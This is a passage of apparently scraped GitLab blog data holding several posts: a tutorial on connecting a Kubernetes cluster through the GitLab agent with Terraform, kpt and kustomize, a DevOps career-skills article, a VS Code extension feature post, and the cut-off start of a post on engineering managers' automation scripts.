instances of it into a cluster. \n\nWe know users who use separate `agentk` instances by squad for example. In these situations, the `squad` owns some namespaces in the cluster and each Agent can access only the namespaces available for their squad. This way `agentk` is not just a good citizen in your cluster, but is like a team member in your squad.\n\n## Create a configuration file for the Agent\n\nNote:\nYou can use either the Terraform project from the previous step or start with a new project. I will assume that we build on top of the Terraform setup from the previous article, linked above, that will come in handy when we want to register the Agent using Terraform. I won't go through setting up all the environment variables here for local Terraform run.\n\nDecide about your agent name, and create an empty file in your project under `.gitlab/agents/\u003Cyour agent name>/config.yaml`. Nota bene, that the extension is `yaml` not `yml` and your agent name must follow the [DNS label standard from RFC 1123](https://docs.gitlab.com/ee/user/clusters/agent/install/#create-an-agent-configuration-file). I'll call my agent `demo-agent`, so the file is under `.gitlab/demo-agent/config.yaml`.\n\n## Register the Agent\n\nThe next step is to register the Agent with GitLab. You can do this either through the GitLab UI or using Terraform. I will show you both approaches.\n\n### Registering through the UI\n\nOnce the configuration file is in place, visit `Infrastructure/Kubernetes` and add a new cluster using the Agent. A dialog will pop up where you can select your agent.\n\nOnce you hit \"next,\" you will see the registration token and a `docker` command for easy installation. The `docker` command includes the token too and you can run it to quickly set up an `agentk` inside of your cluster. (You might need to create a namespace first!) Feel free to run the command for a quickstart or follow the tutorial for a truly code-based approach.\n\n### Registering through code\n\nWe will use Terraform to register the Agent through code. Let's create the following files:\n\n- Under `terraform/gitlab-agent/main.tf`\n\n```hcl\nterraform {\n  backend \"http\" {\n  }\n  required_version = \">= 0.13\"\n  required_providers {\n    gitlab = {\n      source = \"gitlabhq/gitlab\"\n      version = \"~>3.6.0\"\n    }\n  }\n}\n\nprovider \"gitlab\" {\n    token = var.gitlab_password\n}\n\nmodule \"gitlab_kubernetes_agent_registration\" {\n  source = \"gitlab.com/gitlab-org/kubernetes-agent-terraform-register-agent/local\"\n  version = \"0.0.2\"\n\n  gitlab_project_id = var.gitlab_project_id\n  gitlab_username = var.gitlab_username\n  gitlab_password = var.gitlab_password\n  gitlab_graphql_api_url = var.gitlab_graphql_api_url\n  agent_name = var.agent_name\n  token_name = var.token_name\n  token_description = var.token_description\n}\n```\n\nAs you can see we will use a module here. The module is hosted using the Terraform registry provided by GitLab. You can check out [the module source code here](https://gitlab.com/gitlab-org/configure/examples/kubernetes-agent-terraform-register-agent). You might have guessed correctly that under the hood the module uses the GitLab GraphQL API to register the agent and retrieve a token. We will need to set up variables for it to work.\n\n- Create `terraform/gitlab-agent/variables.tf`\n\n```hcl\nvariable \"gitlab_project_id\" {\n  type = string\n}\n\nvariable \"gitlab_username\" {\n  type = string\n}\n\nvariable \"gitlab_password\" {\n  type = string\n}\n\nvariable \"agent_name\" {\n  type = string\n}\n\nvariable \"token_name\" {\n  type    = string\n  default = \"kas-token\"\n}\n\nvariable \"token_description\" {\n  type    = string\n  default = \"Token for KAS Agent Authentication\"\n}\n\nvariable \"gitlab_graphql_api_url\" {\n  type    = string\n  default = \"https://gitlab.com/api/graphql\"\n}\n```\n\n- Create `terraform/gitlab-agent/outputs.tf`\n\n```hcl\noutput \"agent_id\" {\n  value     = module.gitlab_kubernetes_agent_registration.agent_id\n}\n\noutput \"token_secret\" {\n  value     = module.gitlab_kubernetes_agent_registration.token_secret\n  sensitive = true\n}\n```\n\nOnce the registration is over, you'll be able to retrieve the agent ID and the token using these Terraform outputs.\n\n### Run the Terraform project\n\nOnce the above code is in place, we need to run it to actually register the Agent. Here, I am going to extend the setup from the previous article.\n\n#### Running locally\n\n- Create `terraform/gitlab-agent/.envrc`  as you did for the network project.\n\n```\nexport TF_STATE_NAME=${PWD##*terraform/}\nsource_env ../../.main.env\n```\n\nNow run Terraform\n\n```bash\nterraform init\nterraform plan\nterraform apply\n```\n\n#### Running from CI/CD pipeline\n\nExtend the `.gitlab-ci.yml` file with the following 3 jobs:\n\n```hcl\ngitlab-agent:init:\n  extends: .terraform:init\n  stage: init\n  variables:\n    TF_ROOT: terraform/gitlab-agent\n    TF_STATE_NAME: gitlab-agent\n  only:\n    changes:\n      - \"terraform/gitlab-agent/*\"\n\ngitlab-agent:review:\n  extends: .terraform:build\n  stage: build\n  variables:\n    TF_ROOT: terraform/gitlab-agent\n    TF_STATE_NAME: gitlab-agent\n  resource_group: tf:gitlab-agent\n  only:\n    changes:\n      - \"terraform/gitlab-agent/*\"\n\ngitlab-agent:deploy:\n  extends: .terraform:deploy\n  stage: deploy\n  variables:\n    TF_ROOT: terraform/gitlab-agent\n    TF_STATE_NAME: gitlab-agent\n  resource_group: tf:gitlab-agent\n  environment:\n    name: demo-agent\n  when: manual\n  only:\n    changes:\n      - \"terraform/gitlab-agent/*\"\n    variables:\n      - $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n```\n\nAs you can see these are the same jobs that we saw already, they are just parameterized for the `gitlab-agent` terraform project.\n\nNota bene, even if you use GitLab to register the Agent, you will need your command line to install `agentk` for the first time! As a result, you can not avoid a local setup as you will need to run at least `terraform output` to retrieve the token!\n\n## Install `agentk`\n\nIn this tutorial we are going to follow [the advanced installation instructions](https://docs.gitlab.com/ee/user/clusters/agent/install/index.html#advanced-installation) from the GitLab documentation. This approach is highly customizable using `kustomize` and `kpt`.\n\nFirst, let's retrieve the basic Kubernetes resource definitions using `kpt`:\n\n- Create a directory `packages` using `mkdir packages`\n- Run `kpt pkg get https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent.git/build/deployment/gitlab-agent packages/gitlab-agent`\n\nThis will retrieve the most recent version of the `agentk` installation resources. You can request a tagged version with the well-known `@` syntax, for example by running `kpt pkg get https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent.git/build/deployment/gitlab-agent@v14.4.0 packages/gitlab-agent`. You can see [all the available versions here](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/tags).\n\n### Why `kpt` - could we make this a box?\n\nThe choice of `kpt` is because it allows sane upstream package management to you. With `kpt` you will be able to regularly update your packages using something like `kpt pkg update packages/gitlab-agent@\u003Cnew version> --strategy=resource-merge`. It basically allows you to modify your package locally, and will try to merge upstream changes into it. Read the `kpt pkg update -h` output for more information and alternative merge strategies.\n\n### Continue with the installation - if it's a box, this is not needed\n\nThe `kpt` packages you retrieved are actually a set up `kustomize` overlays. The `base` defines only the `agentk` deployment and namespace; the `cluster` defines some default RBAC around the deployment. Feel free to add your own overlays and use those. We will extend this package with custom overlays in a part 6 of the series.\n\nTo configure the package, see the available configuration options using:\n\n```bash\nkustomize cfg list-setters packages/gitlab-agent\n        NAME                 VALUE               SET BY                  DESCRIPTION              COUNT   REQUIRED   IS SET  \n  agent-version       stable                 package-default   Image tag for agentk container     1       No         No      \n  kas-address         wss://kas.gitlab.com   package-default   kas address. Use                   1       No         No      \n                                                               grpc://host.docker.internal:8150                              \n                                                               if connecting from within Docker                              \n                                                               e.g. from kind.                                               \n  name-prefix                                                  Prefix for resource names          1       No         No      \n  namespace           gitlab-agent           package-default   Namespace to install GitLab        2       No         No      \n                                                               Kubernetes Agent into                                         \n  prometheus-scrape   true                   package-default   Enable or disable Prometheus       1       No         No      \n                                                               scraping of agentk metrics.                              \n```\n\nThe package default will be different if you used a tagged version for getting the package. Let's set the version as using `stable` is not recommended.\n\n```bash\nkustomize cfg set packages/gitlab-agent agent-version v14.4.1\nset 1 field(s) of setter \"agent-version\" to value \"v14.4.1\"\n```\n\nFeel free to adjust the other configuration options too or add you own overlays if that is needed.\n\n### Which agent-version to use - could we make this a box?\n\nIf possible the version of `agentk` should match the major and minor version of your GitLab instance. You can find our the version of your GitLab instance under the Help menu on the UI.\n\nIf there is no agent version with your major and minor version, then pick the agent with the highest major and minor below the version of your GitLab.\n\n### Continue with the installation - if it's a box, this is not needed\n\nWarning:\nBefore the next step, I want to warn you about never, ever committing unencrypted secrets into git, and the agent registration token is a secret!\n\nLet's retrieve the agent registration token from our Terraform project. Run the following command in the `terraform/gitlab-agent` directory:\n\n```bash\nterraform output -raw token_secret > ../../packages/gitlab-agent/base/secrets/agent.token\n```\n\nThis writes the registration token to a file on your local computer. Do not commit these changes to git!\n\nAt this point, we are ready to deploy `agentk` into the cluster, so run:\n\n```bash\nkustomize build packages/gitlab-agent/cluster | kubectl apply -f -\n```\n\nLet's get rid of the secret:\n\n```bash\necho \"Invalid token\" > packages/gitlab-agent/base/secrets/agent.token\n```\n\nYou are good to commit your changes to `git` now!\n\n## Testing the setup\n\nWe have installed the Agent, now what? How can we start using it? In the next article we will see in detail how to deploy a more serious application into the cluster. Still, to check that cluster syncronization actually works, let's deploy a `ConfigMap`.\n\n- Create `kubernetes/test_config.yaml` with the following content:\n\n```yaml\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: gitlab-gitops\n  namespace: default\ndata:\n  key: It works!\n```\n\n- Modify your Agent configuration file under `.gitlab/demo-agent/config.yaml`, and add the following to it:\n\n```yaml\ngitops:\n  # Manifest projects are watched by the agent. Whenever a project changes,\n  # GitLab deploys the changes using the agent.\n  manifest_projects:\n  - id: path/to/your/project\n    default_namespace: gitlab-agent\n    # Paths inside of the repository to scan for manifest files.\n    # Directories with names starting with a dot are ignored.\n    paths:\n    - glob: 'kubernetes/test_config.yaml'\n    #- glob: 'kubernetes/**/*.yaml'\n```\n\nChange the `- id: path/to/your/project` line above to point to your project's path!\n\nThe above configuration tells the Agent to kepp the `kubernetes/test_config.yaml` file in sync with the cluster. I've left a commented line at the end to show how you could use wildcards. This will come handy in future steps of this article. The`default_namespace` is used if no namespace is provided in the Kuberentes manifests. There are many other options to configure as well even for the `gitops` use case. You can read more about these in [the configuration file reference documentation](https://docs.gitlab.com/ee/user/clusters/agent/work_with_agent.html).\n\nOnce you commit the above changes, GitLab notifies `agentk` about the changed files. First, `agentk` updates its configuration; second, it retrieves the `ConfigMap`.\n\nWait a few seconds, and run `kubectl describe configmap gitlab-gitops` to check that the changes got appliedd to your cluster. You should see something similar:\n\n```\nName:         gitlab-gitops\nNamespace:    default\nLabels:       \u003Cnone>\nAnnotations:  config.k8s.io/owning-inventory: 502-28431043\n              k8s-agent.gitlab.com/managed-object: managed\n\nData\n====\nkey:\n",[2509,232,676],{"slug":16410,"featured":6,"template":678},"gitops-with-gitlab-connecting-the-cluster","content:en-us:blog:gitops-with-gitlab-connecting-the-cluster.yml","Gitops With Gitlab Connecting The Cluster","en-us/blog/gitops-with-gitlab-connecting-the-cluster.yml","en-us/blog/gitops-with-gitlab-connecting-the-cluster",{"_path":16416,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16417,"content":16423,"config":16428,"_id":16430,"_type":16,"title":16431,"_source":17,"_file":16432,"_stem":16433,"_extension":20},"/en-us/blog/the-top-skills-you-need-to-get-your-devops-dream-job",{"title":16418,"description":16419,"ogTitle":16418,"ogDescription":16419,"noIndex":6,"ogImage":16420,"ogUrl":16421,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16421,"schema":16422},"The top skills you need to get your DevOps dream job or a higher salary","AI, ML, automation – time to learn these new tech skills to stay competitive and land the job or promotion you want.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664025/Blog/Hero%20Images/devopscareer.jpg","https://about.gitlab.com/blog/the-top-skills-you-need-to-get-your-devops-dream-job","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The top skills you need to get your DevOps dream job or a higher salary\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2021-11-17\",\n      }",{"title":16418,"description":16419,"authors":16424,"heroImage":16420,"date":16425,"body":16426,"category":8943,"tags":16427},[3907],"2021-11-17","\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\nIf you’re looking to transform your job, [your salary](/blog/four-tips-to-increase-your-devops-salary/) and your ability to get a job with your dream company, there are some skills you need to add to your toolkit.\n\nDevOps is a rapidly changing field. Automation is booming. There’s an increasing focus on artificial intelligence (AI) and machine learning (ML), along with moving security to the left. And there’s a call to master an ever-growing list of programming languages. Face it, DevOps professionals need to be in a [constant learning mode](/blog/best-advice-for-your-devops-career-keep-on-learning/). If you’re picking up new expertise, you’re likely going to find yourself in a [coveted position](/blog/a-look-at-devops-salaries/) since companies are struggling to fill jobs with DevOps professionals who have the latest skills. \n\nSo what technologies should you consider adding to your toolbelt? Of course, you need to take stock of your own skill set, experiences and certifications, and compare all of that to what your company, or your dream company, might need. Here’s a helpful list of considerations.\n\n## Expand your programming languages\n\nSo when it comes to figuring out what programming languages you should know, it’s a lengthy list to cull through. What would most benefit your company? And what would benefit a potential employer?\n\nThe DevOps Institute noted in its [2021 Upskilling Enterprise DevOps Skills Report](https://info.devopsinstitute.com/2021-upskilling-report-download) that it’s smart for developers to make sure they don’t specialize in a single language. \n\nAccording to the [Stack Overflow survey](https://insights.stackoverflow.com/survey/2021), developers who are already working with other programming languages are most interested in learning [Python](/blog/beginner-guide-python-programming/), JavaScript and Go. And [Brendan O’Leary](https://gitlab.com/brendan), a staff developer evangelist, and product and engineering leader at GitLab, advised that developers should learn Go and [Rust](/blog/rust-programming-language/), which are both useful for building in memory safety.\n\nEven if you’re programming with a popular but common language like JavaScript or C++ currently, that doesn’t mean you can’t showcase other languages on your resume through contributions to open source projects or by [volunteering your coding time](https://www.donatecode.com).\n\n### Understand the role of automation\n\nThe DevOps Institute’s survey noted that automation tool knowledge is a “must-have.” And out of all the automation skills, the report listed the top five as continuous integration (78 percent), continuous delivery (77 percent), continuous deployment (72 percent), continuous operation and support (62 percent), and [DevSecOps](/topics/devsecops/) (56 percent). \n\nIf your current team’s process isn’t highly automated, don’t fear – there are lots of learning options to the rescue. A quick search on YouTube found more than [100 videos on continuous deployment](https://www.youtube.com/results?search_query=continuous+deployment), as just one example. Most large companies offer their own training tracks (and [we do too](/learn/)) and, of course, there are [lots of certification programs](/blog/best-advice-for-your-devops-career-keep-on-learning/) as well.\n\n### Bone up on other key DevOps skills\n\nThe third-highest ranked skill domain is technical skills, according to the DevOps Institute. It’s a broad category, but there are core technical skills, like having an understanding of cloud platforms, [CI/CD](/topics/ci-cd/) and monitoring, along with operating systems, containers, big data, data analysis and microservices that will be important to nearly any employer.\n\nIn our 2021 Global DevSecOps Survey, developers told us there were a lot of technologies they’d like to dig into, including GitOps, IoT/blockchain, cloud/cloud native, cross-platform development, low code, data science, Python and cryptography.\n\nThat tracks with what The DevOps Institute found; the top seven technologies that organizations plan to implement over the next two years include IT automation technology, Gigabit Wi-Fi networking, Internet of Things, virtual desktop infrastructure, converged/hyperconverged infrastructure, container technology and serverless computing. \n\n### Dig into security\n\nA developer who not only understands security but can write the tests and prioritize the fixes is going to be incredibly attractive to a DevOps team looking to shift security firmly to the left. Job swapping or shadowing the security team is one way to build this knowledge base. Finding the dev team’s [security champion](/blog/why-security-champions/) and doing what they do also works. Finally, there’s a practical and actionable podcast called [The Secure Developer](https://www.devseccon.com/the-secure-developer-podcast/) that offers advice from a wide variety of developer pros and security pros on how to up your security game.\n\n### Focus on AI and ML\n\nOur AI overlords are coming, so it’s best to be prepared. While we’re only sort of kidding, it’s completely clear that AI and ML are showing up in DevOps in a surprising variety of ways, including testing, analysis and monitoring. \n\nAI and ML are most likely to arrive first in the testing arena; our survey showed that 75 percent of teams are either using AI and ML or bots for testing and code review, or they’re planning to – up from 41 percent the year before. So that’s an obvious place to focus your energies. \n\n### Jump in and explore learning opportunities\n\nIt’s about continuous education. Whether your company offers you opportunities to earn new certifications and master new languages, or you have to DIY, you need to figure out a way to keep learning. Keep adding to your skill set and resume. \n\n“Continuing to educate yourself is critical,” said GitLab’s O’Leary. “There are always new technologies, new languages, new skills to be learned. Companies need someone who is flexible and can solve problems. Mastering new technologies is one of the more important things you can do for yourself.”\n\nCover image by [Green Chameleon](https://unsplash.com/@craftedbygc) on [Unsplash](https://unsplash.com).\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) has the latest insights from over 5,000 DevOps professionals. You can also compare it with [previous year surveys](/developer-survey/previous/)_\n",[7715,4103,8570],{"slug":16429,"featured":6,"template":678},"the-top-skills-you-need-to-get-your-devops-dream-job","content:en-us:blog:the-top-skills-you-need-to-get-your-devops-dream-job.yml","The Top Skills You Need To Get Your Devops Dream Job","en-us/blog/the-top-skills-you-need-to-get-your-devops-dream-job.yml","en-us/blog/the-top-skills-you-need-to-get-your-devops-dream-job",{"_path":16435,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16436,"content":16441,"config":16446,"_id":16448,"_type":16,"title":16449,"_source":17,"_file":16450,"_stem":16451,"_extension":20},"/en-us/blog/vscode-workflow-new-features",{"title":16437,"description":16438,"ogTitle":16437,"ogDescription":16438,"noIndex":6,"ogImage":11919,"ogUrl":16439,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16439,"schema":16440},"Four new tools for your Visual Studio Code and GitLab tool belt","Learn about new features that can help you review MRs and interact with GitLab","https://about.gitlab.com/blog/vscode-workflow-new-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Four new tools for your Visual Studio Code and GitLab tool belt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tomas Vik\"}],\n        \"datePublished\": \"2021-11-17\",\n      }",{"title":16437,"description":16438,"authors":16442,"heroImage":11919,"date":16425,"body":16444,"category":734,"tags":16445},[16443],"Tomas Vik","\n\nIn our [previous post](/blog/mr-reviews-with-vs-code/), we talked about merge request (MR) Reviews. We explained how the GitLab Workflow extension helps you review MRs without leaving VS Code. Since releasing and polishing the MR reviews, we've been working on improvements to the extension. In this post, we will show you how the latest features fit into your workflow.\n\n### Do you have a lot to say? Use a snippet patch!\n\nOn GitLab's web UI there's the \"suggestions\" feature. It's handy for suggesting small changes in the MR review. The VS Code platform doesn't let us recreate the same experience, but the extension offers an alternative: Snippet patches.\n\nSnippet patches are code changes (git patches) of arbitrary size shared as GitLab snippets. Because they don't have a size limit, they are perfect for suggesting changes to multiple files during the MR review.\n\nThe extension has two commands, `Create snippet patch` and `Apply snippet patch`. These commands use `git diff` and `git apply`, respectively, which means people can still apply the snippet patch even if they don't use the GitLab Workflow extension.\n\nIf a suggestion in the comment is a hammer, then a snippet patch is a pneumatic tamping machine. Next time you'll review an MR, and you see a lot of space for improvement, remember the adage: \"A patch is worth a thousand words\".\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/QQxpLoKJULQ\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n### What's going on with my pipeline? - Improved CI status display\n\nThe extension always showed the latest CI pipeline status in both the status bar and the sidebar. However, if you tried to gauge your pipeline status, you probably run into one or more surprises. The status was hard to understand. Sometimes it related to a different branch, or it was out of date.\n\nWe've made the pipeline status much more reliable and readable. For starters, you can now see individual jobs and their status in the sidebar. Click on any job, and the extension opens a browser window with the GitLab job page.\n\nWe also improved the consistency of showing the pipeline status. The status bar and sidebar are now in sync and always showing pipeline for the current branch.\n\nWe are excited about the cleaner code. It makes it easier for anyone to contribute functionality. If you'd be interested in giving it a shot, we recommend starting with the [Download artifacts from the latest pipeline](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/106) feature request. \n\n\n![VS Code status bar](https://about.gitlab.com/images/blogimages/2021-11-05-vscode-workflow-new-features/ci-pipeline-panel.png){: .shadow.medium.center}\nVS Code CI Pipeline status overview from GitLab extension.\n{: .note .text-center}\n\n### Make the MR your own - Working with checked out code\n\nTwo recent improvements play well together to make your review more interactive. They help you spend less time on actions that don't directly relate to reviewing code. These improvements let you check out the MR branch and open a local file during a review.\n\n#### Check out the MR branch\n\nYou can checkout any MR locally, as long as it is not coming from a forked project. Right-click the MR in the side tree and select \"Checkout MR Branch\". After the command finishes, you'll have the MR branch checked out in your project. Now you can review and run the code.\n\n\u003Cfigure class=\"video_container\">\n  \u003Cvideo src=\"https://gitlab.com/gitlab-org/gitlab-vscode-extension/uploads/db804234ed4d338dea31a27778dba72e/checkout-mr-branch.mp4\" controls=\"true\" data-setup=\"{}\" data-title=\"checkout-mr-branch\" preload=\"metadata\" width=\"560\">\u003C/video>\n\u003C/figure>\n{: .shadow.medium.center}\n\n#### Open a local file during a review\n\nWhen you look at a changed file in an MR, you can click on a small \"file\" icon in the top-right corner. The extension will open the same file in your local repository.\n\nIf your local branch is different from the MR branch, the local file might not be the same as the MR file.\n\nOpening the local file is useful when you want to explore the surroundings of the file quickly. The VS Code automatically focuses the file in the file tree, which lets you see all the neighbouring files.\n\n\u003Cfigure class=\"video_container\">\n  \u003Cvideo src=\"https://gitlab.com/gitlab-org/gitlab-vscode-extension/uploads/de2839b1ceb1be6c33cd80d7fe72bc6d/open-mr-file.mp4\" controls=\"true\" data-setup=\"{}\" data-title=\"open-mr-file\" preload=\"metadata\" width=\"560\">\u003C/video>\n\u003C/figure>\n{: .shadow.medium.center}\n\n### Commitment problems? Browse repositories without checking them out\n\nAt GitLab, we've got some large repositories. The largest, which all GitLabbers use daily, is [www-gitlab-com](https://gitlab.com/gitlab-com/www-gitlab-com), the website you see when you visit `about.gitlab.com`. This 6 GB colossus takes several minutes to check out.\n\nExploring this repository is a perfect use case for our latest feature: Remote Repositories, [contributed by Ethan Reesor](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/321), a community member.\n\nRun the `GitLab: Open Remote Repository` command, pick which project and branch you want to use, and _voilà_.  The extension opens the repository in your local workspace, but it doesn't store data on your local machine.\n\nRemote repositories are useful when you want to browse a repository for a reference but don't plan to change the code.\n\nThis is the first iteration, and it's got some limitations - you can't use full-text search, fuzzy file navigation, and the files are read-only. It's useful nonetheless.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/p4GTVx_Nd2s\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n### Thank you community!\n\nMost of the features introduced in this post are either implemented or suggested by a community member. Ahmed Mohamadeen [suggested](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/390) opening local file during MR review, Musisimaru [created initial implementation](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/203) of checking out MR branch, and Ethan Reesor [implemented](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/321) remote repositories.\n\n\nIf you'd like to shape the future of the GitLab Workflow VS Code extension, you can create issues in [our issue tracker](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues), or look for [issues where we accept MRs](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues?label_name%5B%5D=Accepting+merge+requests). Our [CONTRIBUTING](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/main/CONTRIBUTING.md) guide is an excellent place to start.\n\nCover image by [Ljubica Petkovic](https://ljubicapetkovic.com), licensed under [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)\n{: .note}\n",[232,696,4103],{"slug":16447,"featured":6,"template":678},"vscode-workflow-new-features","content:en-us:blog:vscode-workflow-new-features.yml","Vscode Workflow New Features","en-us/blog/vscode-workflow-new-features.yml","en-us/blog/vscode-workflow-new-features",{"_path":16453,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16454,"content":16459,"config":16465,"_id":16467,"_type":16,"title":16468,"_source":17,"_file":16469,"_stem":16470,"_extension":20},"/en-us/blog/engineering-managers-automate-their-jobs",{"title":16455,"description":16456,"ogTitle":16455,"ogDescription":16456,"noIndex":6,"ogImage":12013,"ogUrl":16457,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16457,"schema":16458},"How GitLab automates engineering management","At GitLab we know automation is engineering's best friend. Here's a deep dive into three scripts we use regularly to keep big projects on track.","https://about.gitlab.com/blog/engineering-managers-automate-their-jobs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab automates engineering management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Seth Berger\"}],\n        \"datePublished\": \"2021-11-16\",\n      }",{"title":16455,"description":16456,"authors":16460,"heroImage":12013,"date":16462,"body":16463,"category":299,"tags":16464},[16461],"Seth Berger","2021-11-16","\n\nAs an engineer, figuring out how to automate your work becomes an important aspect of your job. From writing powerful dotfiles, to customizing bash scripts, to writing robust and rigorous tests, engineers regularly look for ways to automate their repetitive work. \n\nAt GitLab, engineering managers are no different and are constantly looking for ways to automate their work. I asked engineering managers at GitLab to share their automation scripts and their responses were overflowing. \n\nFrom automating their [1:1 document creation](https://www.youtube.com/watch?v=gqFbZi8Hyoc), to integrating [GitLab with Google Sheets](https://gitlab.com/-/snippets/2200407), to writing utilities to [provide executive summaries](https://gitlab.com/gitlab-org/secure/tools/report-scripts), GitLab team members take advantage of the [rich API that GitLab](https://docs.gitlab.com/ee/api/) provides to organize the mountains of information that they sort through on a regular basis. \n\nFor this blog post, I’m sharing a [repo](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries) that contains just a few of the many scripts that our team members use. These scripts were originally written by engineering manager [Rachel Nienaber](/company/team/#rnienaber). Rachel’s Infrastructure team is tasked with the exciting work of coordinating large scale infrastructure and code improvements. The work involves coordinating and sequencing lots of issues and epics, and ensuring the work gets done at just the right time and in the right order. Because of the breadth and scale of the work, she has created a handful of scripts that parse issues and epics in order to gain better visibility into the work that needs to be done. \n\nIn the repo, there are three scripts. I’ll provide a quick overview of the first two, and then dive into the code on the last one. \n\n* [Issues not in epics ](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/master/issues_not_in_epics.rb)\n* [Epic summary](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/master/epic_summary.rb)\n* [Epic/Issue relationship ](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/master/epic_issue_relationships.rb)\n\n**Issues not in epics**\n\nSince the Infrastructure team leans on [epics](https://docs.gitlab.com/ee/user/group/epics/) to organize their issues, they also want to be able to organize work that may not be part of an epic. The [`issues_not_in_epics.rb`](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/master/issues_not_in_epics.rb) script iterates through issues not in an epic and updates the description of a single hard-coded [issue](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/538) with a table summarizing those issues. The script is run on a daily basis via a scheduled pipeline. This ensures that issues do not slip through the cracks. \n\n**Epic summary**\n\nThis script, [`epic_summary.rb`](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/master/epic_summary.rb), was written to solve the problem of having to look in multiple places to understand the status of each project. By grouping all status information into one place it’s easy to see what the team is working on, and what projects will be coming up next. \n\nAs input it takes a designated epic ID and updates the description of that epic by crawling sub-epics and extracting the following data from those epics:\n\n* The person responsible for delivering a sub-epic (at GitLab we use the term [Directly Responsible Individual or DRI](/handbook/people-group/directly-responsible-individuals/))\n* The latest status update for the epic as inputted by an engineer in an epic description\n* The number of sub-epics\n* Links to a board showing the issues constituting that epic\n\nYou can see an example of the output from the script on this [epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/148).\n\nPart of what makes this script simple is that the Infrastructure team always updates the bottom of all their epic descriptions with the following markdown.\n\n```markdown\n## Status {DATE}\n{commentary of the status}\n```\n\nBy consistently using that very simple markdown, the following snippet of code can reliably extract the status for each epic:\n\n```rb\n if description!= nil && description.index(\"## Status\")\n\n    end_location = description.length\n\n    if description.index(\"mermaid\")\n      end_location = description.index(\"mermaid\")-6\n    end\n\n    status = description[description.index(\"## Status\")+10..end_location]\n  end\n```\n\nThe code above certainly won’t win any algorithm challenges, but that’s kind of the point and what we aim to do with [boring solutions](/blog/boring-solutions-faster-iteration/). \n\nYou’ll notice the code above adjusts what is parsed to exclude a mermaid diagram that might appear after the `## Status` markdown.  That diagram gets maintained with the [epic_issue_relationship.rb](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/master/epic_issue_relationships.rb) script. \n\n**Epic issue relationship**\n\nThis script updates either a specific epic or all epics, depending on the command line option,  with a [mermaid diagram](https://mermaid-js.github.io/) that shows the relationship between issues and the order that those issues need to be completed by examining how they are related to one another. Adding a mermaid diagram to the description was introduced by [Sean McGivern](/company/team/#smcgivern), a staff engineer on the Scalability team. It creates brilliant diagrams like this one from this [epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/579).\n\n![Mermaid Diagram](https://about.gitlab.com/images/blogimages/2021-11-16-engineering-managers/issue_relation.png)\n\nLet’s walk through the code.\n\nThe script uses the Docopt gem to parse and accept several input parameters. \n\n```rb\noptions = Docopt::docopt(docstring)\ntoken = options.fetch('--token')\ngroup_id = options.fetch('--groupid')\nepic_id = options.fetch('--epicid', nil)\ndry_run = options.fetch('--dry-run', false)\n```\nThen a connection to the GitLab instance is created, taking advantage of the [GitLab gem](https://github.com/NARKOZ/gitlab) which is extended in [`lib/gitlab_client/epics.rb`](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/main/lib/gitlab_client/epics.rb) to include a few extra methods. \n\n```rb\nGitlab.configure do |config|\n  config.endpoint = 'https://gitlab.com/api/v4'\n  config.private_token = token\nend\n```\n\nIf an epic id is passed in, then the `update_mermaid` will run only for a specific epic. Otherwise, the code searches for epics that match the two labels, `workflow-infra::In Progress` and `team::Scalability` and are also `opened`. Only when the matching epics do not have child epics,  is `update_mermaid` run. \n\n```rb\nif epic_id\n  update_mermaid(token: token, group_id: group_id, epic_id: epic_id, dry_run: dry_run)\nelse\n  Gitlab.epics(group_id, 'workflow-infra::In Progress,team::Scalability', options: { state: 